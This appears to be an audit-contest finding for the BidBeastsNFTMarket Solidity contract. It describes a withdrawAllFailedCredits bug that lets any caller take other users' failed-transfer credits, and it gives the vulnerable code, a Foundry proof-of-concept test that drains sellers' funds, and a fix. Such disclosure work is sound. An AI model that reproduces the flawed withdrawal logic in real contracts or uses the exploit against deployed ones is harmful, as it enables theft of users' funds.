Submission Details
Severity:
`BidBeastsNFTMarket:withdrawAllFailedCredits` Function, Incorrect Logic Allows Anyone to Steal Funds
BidBeastsNFTMarket:withdrawAllFailedCredits Function, Incorrect Logic Allows Anyone to Steal Funds
Description
• Under normal circumstances, all users (sellers, bidders, platform administrators) should be able to withdraw funds from their last failed payment via withdrawAllFailedCredits.
• However, due to flawed logic in withdrawAllFailedCredits, anyone can initiate the withdrawal process.
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Risk
Likelihood:
• Any user can call the withdrawAllFailedCredits function.
• This unrestricted access can be immediately exploited by malicious users.
Impact:
• Users who experienced a failed withdrawal will quickly lose their funds.
• The overall value and credibility of the contract will be severely compromised.
Proof of Concept
• In the test folder, add BidBeastsMarketPlaceTestAccount.t.sol with the following code:
// SPDX-License-Identifier: MIT
import {Test, console} from "forge-std/Test.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {BidBeastsNFTMarket} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";
contract Seller_NoReceive is Ownable, IERC721Receiver{
BidBeasts nft;
BidBeastsNFTMarket market;
constructor(BidBeasts _nft, BidBeastsNFTMarket _market) payable Ownable(msg.sender){
nft = _nft;
market = _market;
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure returns (bytes4) {
return this.onERC721Received.selector;
}
function listNFT(uint256 _tokenId, uint256 _minPrice, uint256 _buyNowPrice) onlyOwner public {
require(nft.ownerOf(_tokenId) == address(this));
nft.approve(address(market), _tokenId);
market.listNFT(_tokenId, _minPrice, _buyNowPrice);
}
function takeHighestBid(uint256 _tokenId) onlyOwner public {
(address seller,,,,) = market.listings(_tokenId);
require(seller == address(this), "");
market.takeHighestBid(_tokenId);
}
}
• In BidBeastsMarketPlaceTest.t.sol, add the following test:
import {Seller_NoReceive} from "./BidBeastsMarketPlaceTestAccount.t.sol";
function test__withdrawAllFailedCredits() public {
// Create accounts
address no_receive_seller_1 = makeAddr("no_receive_seller_1");
vm.deal(no_receive_seller_1, 1 ether);
vm.prank(no_receive_seller_1);
Seller_NoReceive no_receive_seller_1_contract = new Seller_NoReceive{value: 1 ether}(nft, market);
address no_receive_seller_2 = makeAddr("no_receive_seller_2");
vm.deal(no_receive_seller_2, 1 ether);
vm.prank(no_receive_seller_2);
Seller_NoReceive no_receive_seller_2_contract = new Seller_NoReceive{value: 1 ether}(nft, market);
////////////////////////////////////////////////////////////
// Mint NFTs for all accounts
vm.startPrank(OWNER);
uint256 tokenId_n_r_1 = nft.mint(address(no_receive_seller_1_contract));
uint256 tokenId_n_r_2 = nft.mint(address(no_receive_seller_2_contract));
vm.stopPrank();
////////////////////////////////////////////////////////////
// Each account lists their NFT
vm.startPrank(no_receive_seller_1);
no_receive_seller_1_contract.listNFT(tokenId_n_r_1, MIN_PRICE, BUY_NOW_PRICE);
vm.stopPrank();
vm.startPrank(no_receive_seller_2);
no_receive_seller_2_contract.listNFT(tokenId_n_r_2, MIN_PRICE, BUY_NOW_PRICE);
vm.stopPrank();
////////////////////////////////////////////////////////////
console.log("192 address(market).balance = ", address(market).balance);
// Bidder 1 bids on seller 1's NFT
vm.prank(BIDDER_1);
market.placeBid{value: (MIN_PRICE + 1)}(tokenId_n_r_1);
// Bidder 2 bids on seller 2's NFT
vm.prank(BIDDER_2);
market.placeBid{value: (MIN_PRICE + 1)}(tokenId_n_r_2);
////////////////////////////////////////////////////////////
console.log("204 address(market).balance = ", address(market).balance);
// Seller 1 accepts the highest bid
vm.prank(no_receive_seller_1);
no_receive_seller_1_contract.takeHighestBid(tokenId_n_r_1);
// Seller 2 accepts the highest bid
vm.prank(no_receive_seller_2);
no_receive_seller_2_contract.takeHighestBid(tokenId_n_r_2);
console.log("214 address(anyone).balance = ", address(market).balance);
////////////////////////////////////////////////////////////
// Anyone can steal the funds intended for seller 1 and seller 2
address anyone = makeAddr("anyone");
vm.startPrank(anyone);
market.withdrawAllFailedCredits(address(no_receive_seller_1_contract));
market.withdrawAllFailedCredits(address(no_receive_seller_2_contract));
vm.stopPrank();
vm.assertTrue(address(anyone).balance > 0);
}
Recommended Mitigation
function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
+ require(_receiver != address(0), "can't withdraw to zero address");
failedTransferCredits[msg.sender] = 0;
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ (bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates
Lead Judging Commences
cryptoghost 2 months ago
Submission Judgement Published Assigned finding tags:
BidBeast Marketplace: Unrestricted FailedCredits Withdrawal
withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.
Rewards breakdown
nSLOC
170This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.